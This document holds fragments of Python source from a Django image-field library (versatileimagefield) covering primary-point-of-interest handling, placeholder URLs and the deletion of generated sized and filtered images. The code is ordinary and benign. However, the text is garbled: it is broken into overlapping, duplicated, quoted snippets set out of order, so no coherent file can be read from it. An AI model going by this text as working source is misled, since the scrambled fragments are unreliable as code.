ext = os.path.splitext(filename) for f in", "import re from .datastructures import FilterLibrary from .registry import autodiscover,", "filtered sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex )", "images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self):", "getter.\"\"\" return self._create_on_demand @create_on_demand.setter def create_on_demand(self, value): if not isinstance(value,", "URL to the placeholder is returned. * Otherwise, defaults to", ") ) def delete_filtered_images(self): \"\"\"Delete all filtered images created from", "the URL to the placeholder is returned. * Otherwise, defaults", "stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def", "'foo/' * self.name = 'bar.jpg' * regex = re.compile('-baz') Result:", "self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self): \"\"\"Delete all sized images", "placeholder is defined, the URL to the placeholder is returned.", "* root_folder = 'foo/' * self.name = 'bar.jpg' * regex", "# pragma: no cover continue tag = f[len(basename):-len(ext)] assert f", "VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting initial ppoi if self.field.ppoi_field:", "return super(VersatileImageMixIn, self).url @property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand", "is not None: file_location = os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location)", "FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand ) for ( attr_name,", "return self._ppoi_value @ppoi.setter def ppoi(self, value): \"\"\"Primary Point of Interest", "not isinstance(value, bool): raise ValueError( \"`create_on_demand` must be a boolean\"", "super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting initial ppoi if self.field.ppoi_field: instance_ppoi_value", "(not `self.name`) and a placeholder is defined, the URL to", "VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete files in", "on these field conditions: * If empty (not `self.name`) and", "Otherwise, defaults to vanilla ImageFieldFile behavior. \"\"\" if not self.name", "if not f.startswith(basename) or not f.endswith(ext): # pragma: no cover", "]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls", "def get_filtered_root_folder(self): \"\"\"Return the location where filtered images are stored.\"\"\"", "def delete_filtered_sized_images(self): \"\"\"Delete all filtered sized images created from `self.name`.\"\"\"", "(ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter def ppoi(self, value): \"\"\"Primary Point", ") ) def get_filtered_root_folder(self): \"\"\"Return the location where filtered images", "cover pass else: folder, filename = os.path.split(self.name) basename, ext =", "`regex` before file ext. Example values: * root_folder = 'foo/'", "def url(self): \"\"\" Return the appropriate URL. URL is constructed", "folder, filename = os.path.split(self.name) basename, ext = os.path.splitext(filename) for f", "# pragma: no cover return try: directory_list, file_list = self.storage.listdir(root_folder)", "create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting initial", "ppoi_value, create_on_demand): \"\"\"Build the filters and sizers for a field.\"\"\"", "{file} (created from: {original})\".format( file=os.path.join(root_folder, f), original=self.name ) ) def", "self.filters = FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand ) for", "filter_regex = re.compile(filter_regex_snippet + '$') sizer_regex = re.compile(sizer_regex_snippet + '$')", "directory_list, file_list = self.storage.listdir(root_folder) except OSError: # pragma: no cover", "value) @property def ppoi(self): \"\"\"Primary Point of Interest (ppoi) getter.\"\"\"", "tag = f[len(basename):-len(ext)] assert f == basename + tag +", "deleted \"\"\" if not self.name: # pragma: no cover return", "Point of Interest (ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter def ppoi(self,", "bool): raise ValueError( \"`create_on_demand` must be a boolean\" ) else:", "\"`create_on_demand` must be a boolean\" ) else: self._create_on_demand = value", "sized images are stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return os.path.join( sized_root_folder,", "created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self): \"\"\"Delete", "defaults to vanilla ImageFieldFile behavior. \"\"\" if not self.name and", "= self.name if not name and self.field.placeholder_image_name: name = self.field.placeholder_image_name", "= re.compile('-baz') Result: * foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg <-", "where filtered + sized images are stored.\"\"\" sized_root_folder = self.get_sized_root_folder()", "not name and self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters = FilterLibrary(", "else: folder, filename = os.path.split(self.name) basename, ext = os.path.splitext(filename) for", "f), original=self.name ) ) def delete_filtered_images(self): \"\"\"Delete all filtered images", "delete_sized_images(self): \"\"\"Delete all sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(),", "* self.name = 'bar.jpg' * regex = re.compile('-baz') Result: *", "'bar.jpg' * regex = re.compile('-baz') Result: * foo/bar-baz.jpg <- Deleted", "(created from: {original})\".format( file=os.path.join(root_folder, f), original=self.name ) ) def delete_filtered_images(self):", "self.instance, self.field.ppoi_field, (0.5, 0.5) ) self.ppoi = instance_ppoi_value else: self.ppoi", "root_folder = 'foo/' * self.name = 'bar.jpg' * regex =", "self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the filters and sizers", "= os.path.split(self.name) basename, ext = os.path.splitext(filename) for f in file_list:", "all sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex )", "create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter def create_on_demand(self, value): if", "* Otherwise, defaults to vanilla ImageFieldFile behavior. \"\"\" if not", "images are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME,", "URL is constructed based on these field conditions: * If", "autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key, filter_cls in", "not self.name: # pragma: no cover return try: directory_list, file_list", "\"\"\"Delete all sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex", "self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def", "file=os.path.join(root_folder, f), original=self.name ) ) def delete_filtered_images(self): \"\"\"Delete all filtered", "\"\"\"versatileimagefield Field mixins.\"\"\" import os import re from .datastructures import", "key for key, filter_cls in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet =", "images are stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME", "not f.startswith(basename) or not f.endswith(ext): # pragma: no cover continue", "versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value )", "ppoi if self.field.ppoi_field: instance_ppoi_value = getattr( self.instance, self.field.ppoi_field, (0.5, 0.5)", "re.compile('-baz') Result: * foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg <- Not", "the location where sized images are stored.\"\"\" folder, filename =", "Deleted * foo/bar-biz.jpg <- Not deleted \"\"\" if not self.name:", "regex): \"\"\" Delete files in `root_folder` which match `regex` before", "f.startswith(basename) or not f.endswith(ext): # pragma: no cover continue tag", "@property def url(self): \"\"\" Return the appropriate URL. URL is", "( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import validate_ppoi", "# Setting initial ppoi if self.field.ppoi_field: instance_ppoi_value = getattr( self.instance,", "files in `root_folder` which match `regex` before file ext. Example", "pragma: no cover pass else: folder, filename = os.path.split(self.name) basename,", "= re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex = re.compile( filter_regex_snippet + sizer_regex_snippet", "where sized images are stored.\"\"\" folder, filename = os.path.split(self.name) return", "validate_ppoi( value, return_converted_tuple=True ) if ppoi is not False: self._ppoi_value", "@property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter def create_on_demand(self,", "= r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key, filter_cls in versatileimagefield_registry._filter_registry.items() ])", "# pragma: no cover pass else: folder, filename = os.path.split(self.name)", "versatileimagefield_registry from .settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME )", "filter_cls in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex()", "created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete", "conditions: * If empty (not `self.name`) and a placeholder is", "os.path.split(self.name) basename, ext = os.path.splitext(filename) for f in file_list: if", "getattr( self.instance, self.field.ppoi_field, (0.5, 0.5) ) self.ppoi = instance_ppoi_value else:", "ext if regex.match(tag) is not None: file_location = os.path.join(root_folder, f)", "values: * root_folder = 'foo/' * self.name = 'bar.jpg' *", "no cover return try: directory_list, file_list = self.storage.listdir(root_folder) except OSError:", "sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def", "= instance_ppoi_value else: self.ppoi = (0.5, 0.5) @property def url(self):", "if not isinstance(value, bool): raise ValueError( \"`create_on_demand` must be a", "( attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls(", "in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex = re.compile(filter_regex_snippet + '$') sizer_regex", "filter_regex ) def delete_sized_images(self): \"\"\"Delete all sized images created from", "basename + tag + ext if regex.match(tag) is not None:", ") in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand,", "in `root_folder` which match `regex` before file ext. Example values:", "\"\"\"Return the location where filtered + sized images are stored.\"\"\"", "ppoi(self): \"\"\"Primary Point of Interest (ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter", "pragma: no cover continue tag = f[len(basename):-len(ext)] assert f ==", "= self.field.placeholder_image_name self.filters = FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand", "sized_root_folder = self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self,", "\"\"\" Delete files in `root_folder` which match `regex` before file", "+ ext if regex.match(tag) is not None: file_location = os.path.join(root_folder,", "\"\"\"Delete all filtered images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex", "getter.\"\"\" return self._ppoi_value @ppoi.setter def ppoi(self, value): \"\"\"Primary Point of", "are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '')", "= os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return the", "is constructed based on these field conditions: * If empty", "\"\"\"Build the filters and sizers for a field.\"\"\" name =", "return self._create_on_demand @create_on_demand.setter def create_on_demand(self, value): if not isinstance(value, bool):", "sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items()", "and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting", "= VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs) # Setting initial ppoi if", "for key, filter_cls in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format(", ".validators import validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key for", "= 'bar.jpg' * regex = re.compile('-baz') Result: * foo/bar-baz.jpg <-", "no cover continue tag = f[len(basename):-len(ext)] assert f == basename", "f.endswith(ext): # pragma: no cover continue tag = f[len(basename):-len(ext)] assert", "filename = os.path.split(self.name) return os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return", "attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr( self, attr_name, sizedimage_cls( path_to_image=name,", "self._create_on_demand @create_on_demand.setter def create_on_demand(self, value): if not isinstance(value, bool): raise", "mixins.\"\"\" import os import re from .datastructures import FilterLibrary from", "= os.path.splitext(filename) for f in file_list: if not f.startswith(basename) or", "* regex = re.compile('-baz') Result: * foo/bar-baz.jpg <- Deleted *", "field.\"\"\" name = self.name if not name and self.field.placeholder_image_name: name", "f in file_list: if not f.startswith(basename) or not f.endswith(ext): #", "os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete", "images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self):", "not None: file_location = os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) )", "not self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property", "appropriate URL. URL is constructed based on these field conditions:", "*args, **kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn,", "file ext. Example values: * root_folder = 'foo/' * self.name", "class VersatileImageMixIn(object): \"\"\"A mix-in that provides the filtering/sizing API.\"\"\" def", "filtered + sized images are stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return", "except OSError: # pragma: no cover pass else: folder, filename", "]) ) filter_regex = re.compile(filter_regex_snippet + '$') sizer_regex = re.compile(sizer_regex_snippet", "for a field.\"\"\" name = self.name if not name and", "pragma: no cover return try: directory_list, file_list = self.storage.listdir(root_folder) except", "Interest (ppoi) setter.\"\"\" ppoi = validate_ppoi( value, return_converted_tuple=True ) if", "Delete files in `root_folder` which match `regex` before file ext.", "\"\"\"Return the location where sized images are stored.\"\"\" folder, filename", "name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand ) for ( attr_name, sizedimage_cls", "name = self.field.placeholder_image_name self.filters = FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value,", "path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def get_filtered_root_folder(self): \"\"\"Return the", "(ppoi) setter.\"\"\" ppoi = validate_ppoi( value, return_converted_tuple=True ) if ppoi", "foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg <- Not deleted \"\"\" if", "file_list: if not f.startswith(basename) or not f.endswith(ext): # pragma: no", ") class VersatileImageMixIn(object): \"\"\"A mix-in that provides the filtering/sizing API.\"\"\"", "self.get_sized_root_folder() return os.path.join( sized_root_folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) def delete_matching_files_from_storage(self, root_folder, regex):", "continue tag = f[len(basename):-len(ext)] assert f == basename + tag", "@property def ppoi(self): \"\"\"Primary Point of Interest (ppoi) getter.\"\"\" return", "Interest (ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter def ppoi(self, value): \"\"\"Primary", "self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property def", "\"\"\" Return the appropriate URL. URL is constructed based on", "create_on_demand): \"\"\"Build the filters and sizers for a field.\"\"\" name", "no cover pass else: folder, filename = os.path.split(self.name) basename, ext", "sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete all filtered sized images created", "FilterLibrary from .registry import autodiscover, versatileimagefield_registry from .settings import (", ".registry import autodiscover, versatileimagefield_registry from .settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND,", "all filtered sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex", ") def delete_filtered_images(self): \"\"\"Delete all filtered images created from `self.name`.\"\"\"", "<- Deleted * foo/bar-biz.jpg <- Not deleted \"\"\" if not", "setattr( self, attr_name, sizedimage_cls( path_to_image=name, storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) )", "stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def", "returned. * Otherwise, defaults to vanilla ImageFieldFile behavior. \"\"\" if", "self.field.placeholder_image_name self.filters = FilterLibrary( name, self.storage, versatileimagefield_registry, ppoi_value, create_on_demand )", "from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self): \"\"\"Delete all", "vanilla ImageFieldFile behavior. \"\"\" if not self.name and self.field.placeholder_image_name: return", "not f.endswith(ext): # pragma: no cover continue tag = f[len(basename):-len(ext)]", "`self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete all filtered", "from .registry import autodiscover, versatileimagefield_registry from .settings import ( cache,", "ImageFieldFile behavior. \"\"\" if not self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name)", ") def delete_sized_images(self): \"\"\"Delete all sized images created from `self.name`.\"\"\"", ") from .validators import validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([", "versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex = re.compile(filter_regex_snippet + '$') sizer_regex =", "storage=self.storage, create_on_demand=create_on_demand, ppoi=ppoi_value ) ) def get_filtered_root_folder(self): \"\"\"Return the location", "re.compile( filter_regex_snippet + sizer_regex_snippet + '$' ) class VersatileImageMixIn(object): \"\"\"A", "location where filtered images are stored.\"\"\" folder, filename = os.path.split(self.name)", "= r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ])", "foo/bar-biz.jpg <- Not deleted \"\"\" if not self.name: # pragma:", "OSError: # pragma: no cover pass else: folder, filename =", "\"\"\"Delete all filtered sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(),", "versatileimagefield_registry, ppoi_value, create_on_demand ) for ( attr_name, sizedimage_cls ) in", "Result: * foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg <- Not deleted", "def ppoi(self, value): \"\"\"Primary Point of Interest (ppoi) setter.\"\"\" ppoi", "os.path.join(root_folder, f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print( \"Deleted {file} (created", "if not name and self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters =", "self.storage.listdir(root_folder) except OSError: # pragma: no cover pass else: folder,", "filename = os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return", "def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter def create_on_demand(self, value):", "re.compile(filter_regex_snippet + '$') sizer_regex = re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex =", "ValueError( \"`create_on_demand` must be a boolean\" ) else: self._create_on_demand =", "def delete_all_created_images(self): \"\"\"Delete all images created from `self.name`.\"\"\" self.delete_filtered_images() self.delete_sized_images()", "if ppoi is not False: self._ppoi_value = ppoi self.build_filters_and_sizers(ppoi, self.create_on_demand)", "self.ppoi = instance_ppoi_value else: self.ppoi = (0.5, 0.5) @property def", "the location where filtered + sized images are stored.\"\"\" sized_root_folder", "\"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args, **kwargs)", ") def get_filtered_root_folder(self): \"\"\"Return the location where filtered images are", "delete_filtered_sized_images(self): \"\"\"Delete all filtered sized images created from `self.name`.\"\"\" self.delete_matching_files_from_storage(", "folder, filename = os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self):", "ppoi(self, value): \"\"\"Primary Point of Interest (ppoi) setter.\"\"\" ppoi =", "self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print( \"Deleted {file} (created from: {original})\".format(", "= self.storage.listdir(root_folder) except OSError: # pragma: no cover pass else:", "(0.5, 0.5) ) self.ppoi = instance_ppoi_value else: self.ppoi = (0.5,", "VersatileImageMixIn(object): \"\"\"A mix-in that provides the filtering/sizing API.\"\"\" def __init__(self,", "+ sized images are stored.\"\"\" sized_root_folder = self.get_sized_root_folder() return os.path.join(", "VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '') def get_sized_root_folder(self): \"\"\"Return the location where sized images", ") self.ppoi = instance_ppoi_value else: self.ppoi = (0.5, 0.5) @property", "is returned. * Otherwise, defaults to vanilla ImageFieldFile behavior. \"\"\"", "= re.compile( filter_regex_snippet + sizer_regex_snippet + '$' ) class VersatileImageMixIn(object):", "Point of Interest (ppoi) setter.\"\"\" ppoi = validate_ppoi( value, return_converted_tuple=True", "+ '$') filter_and_sizer_regex = re.compile( filter_regex_snippet + sizer_regex_snippet + '$'", "= re.compile(filter_regex_snippet + '$') sizer_regex = re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex", "def ppoi(self): \"\"\"Primary Point of Interest (ppoi) getter.\"\"\" return self._ppoi_value", "ppoi=ppoi_value ) ) def get_filtered_root_folder(self): \"\"\"Return the location where filtered", "`root_folder` which match `regex` before file ext. Example values: *", "value, return_converted_tuple=True ) if ppoi is not False: self._ppoi_value =", "behavior. \"\"\" if not self.name and self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return", "cover return try: directory_list, file_list = self.storage.listdir(root_folder) except OSError: #", "for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex = re.compile(filter_regex_snippet", "and self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters = FilterLibrary( name, self.storage,", "def get_filtered_sized_root_folder(self): \"\"\"Return the location where filtered + sized images", "filtering/sizing API.\"\"\" def __init__(self, *args, **kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\"", "a placeholder is defined, the URL to the placeholder is", "create_on_demand ) for ( attr_name, sizedimage_cls ) in versatileimagefield_registry._sizedimage_registry.items(): setattr(", "name = self.name if not name and self.field.placeholder_image_name: name =", "r'__({registered_filters})__'.format( registered_filters='|'.join([ key for key, filter_cls in versatileimagefield_registry._filter_registry.items() ]) )", "**kwargs): \"\"\"Construct PPOI and create_on_demand.\"\"\" self._create_on_demand = VERSATILEIMAGEFIELD_CREATE_ON_DEMAND super(VersatileImageMixIn, self).__init__(*args,", "are stored.\"\"\" folder, filename = os.path.split(self.name) return os.path.join(folder, VERSATILEIMAGEFIELD_FILTERED_DIRNAME, '')", "self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return", "be a boolean\" ) else: self._create_on_demand = value self.build_filters_and_sizers(self.ppoi, value)", "self.storage, versatileimagefield_registry, ppoi_value, create_on_demand ) for ( attr_name, sizedimage_cls )", "sizer_regex = re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex = re.compile( filter_regex_snippet +", ") def delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete files in `root_folder`", "delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete files in `root_folder` which match", "defined, the URL to the placeholder is returned. * Otherwise,", "url(self): \"\"\" Return the appropriate URL. URL is constructed based", "os.path.join(VERSATILEIMAGEFIELD_SIZED_DIRNAME, folder, '') def get_filtered_sized_root_folder(self): \"\"\"Return the location where filtered", "self.field.ppoi_field: instance_ppoi_value = getattr( self.instance, self.field.ppoi_field, (0.5, 0.5) ) self.ppoi", "self).url @property def create_on_demand(self): \"\"\"create_on_demand getter.\"\"\" return self._create_on_demand @create_on_demand.setter def", "VERSATILEIMAGEFIELD_SIZED_DIRNAME, VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import validate_ppoi autodiscover() filter_regex_snippet =", "def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the filters and sizers for", "and sizers for a field.\"\"\" name = self.name if not", "re from .datastructures import FilterLibrary from .registry import autodiscover, versatileimagefield_registry", "key, filter_cls in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([", ".datastructures import FilterLibrary from .registry import autodiscover, versatileimagefield_registry from .settings", "name and self.field.placeholder_image_name: name = self.field.placeholder_image_name self.filters = FilterLibrary( name,", "Field mixins.\"\"\" import os import re from .datastructures import FilterLibrary", ") sizer_regex_snippet = r'-({registered_sizers})-(\\d+)x(\\d+)(?:-\\d+)?'.format( registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls in", "'$') sizer_regex = re.compile(sizer_regex_snippet + '$') filter_and_sizer_regex = re.compile( filter_regex_snippet", "self.ppoi = (0.5, 0.5) @property def url(self): \"\"\" Return the", "self.delete_matching_files_from_storage( self.get_sized_root_folder(), sizer_regex ) def delete_filtered_sized_images(self): \"\"\"Delete all filtered sized", "registered_filters='|'.join([ key for key, filter_cls in versatileimagefield_registry._filter_registry.items() ]) ) sizer_regex_snippet", "f[len(basename):-len(ext)] assert f == basename + tag + ext if", "a field.\"\"\" name = self.name if not name and self.field.placeholder_image_name:", "the filtering/sizing API.\"\"\" def __init__(self, *args, **kwargs): \"\"\"Construct PPOI and", "try: directory_list, file_list = self.storage.listdir(root_folder) except OSError: # pragma: no", "in file_list: if not f.startswith(basename) or not f.endswith(ext): # pragma:", "cover continue tag = f[len(basename):-len(ext)] assert f == basename +", "regex = re.compile('-baz') Result: * foo/bar-baz.jpg <- Deleted * foo/bar-biz.jpg", "get_sized_root_folder(self): \"\"\"Return the location where sized images are stored.\"\"\" folder,", "and a placeholder is defined, the URL to the placeholder", "os import re from .datastructures import FilterLibrary from .registry import", "get_filtered_sized_root_folder(self): \"\"\"Return the location where filtered + sized images are", "\"Deleted {file} (created from: {original})\".format( file=os.path.join(root_folder, f), original=self.name ) )", "self.delete_matching_files_from_storage( self.get_filtered_sized_root_folder(), filter_and_sizer_regex ) def delete_all_created_images(self): \"\"\"Delete all images created", "'') def get_filtered_sized_root_folder(self): \"\"\"Return the location where filtered + sized", "from .validators import validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format( registered_filters='|'.join([ key", "from .datastructures import FilterLibrary from .registry import autodiscover, versatileimagefield_registry from", "based on these field conditions: * If empty (not `self.name`)", "self.field.placeholder_image_name: return self.storage.url(self.field.placeholder_image_name) return super(VersatileImageMixIn, self).url @property def create_on_demand(self): \"\"\"create_on_demand", "= (0.5, 0.5) @property def url(self): \"\"\" Return the appropriate", "* foo/bar-biz.jpg <- Not deleted \"\"\" if not self.name: #", "create_on_demand(self, value): if not isinstance(value, bool): raise ValueError( \"`create_on_demand` must", "`self.name`.\"\"\" self.delete_matching_files_from_storage( self.get_filtered_root_folder(), filter_regex ) def delete_sized_images(self): \"\"\"Delete all sized", "registered_sizers='|'.join([ sizer_cls.get_filename_key_regex() for key, sizer_cls in versatileimagefield_registry._sizedimage_registry.items() ]) ) filter_regex", "self.build_filters_and_sizers(ppoi, self.create_on_demand) def build_filters_and_sizers(self, ppoi_value, create_on_demand): \"\"\"Build the filters and", "def delete_matching_files_from_storage(self, root_folder, regex): \"\"\" Delete files in `root_folder` which", "VERSATILEIMAGEFIELD_FILTERED_DIRNAME ) from .validators import validate_ppoi autodiscover() filter_regex_snippet = r'__({registered_filters})__'.format(", "if self.field.ppoi_field: instance_ppoi_value = getattr( self.instance, self.field.ppoi_field, (0.5, 0.5) )", "return_converted_tuple=True ) if ppoi is not False: self._ppoi_value = ppoi", "= validate_ppoi( value, return_converted_tuple=True ) if ppoi is not False:", "f) self.storage.delete(file_location) cache.delete( self.storage.url(file_location) ) print( \"Deleted {file} (created from:", "`self.name`) and a placeholder is defined, the URL to the", "cache.delete( self.storage.url(file_location) ) print( \"Deleted {file} (created from: {original})\".format( file=os.path.join(root_folder,", "setter.\"\"\" ppoi = validate_ppoi( value, return_converted_tuple=True ) if ppoi is", "of Interest (ppoi) getter.\"\"\" return self._ppoi_value @ppoi.setter def ppoi(self, value):", "if regex.match(tag) is not None: file_location = os.path.join(root_folder, f) self.storage.delete(file_location)", "import autodiscover, versatileimagefield_registry from .settings import ( cache, VERSATILEIMAGEFIELD_CREATE_ON_DEMAND, VERSATILEIMAGEFIELD_SIZED_DIRNAME,", "sized images created from `self.name`.\"\"\" 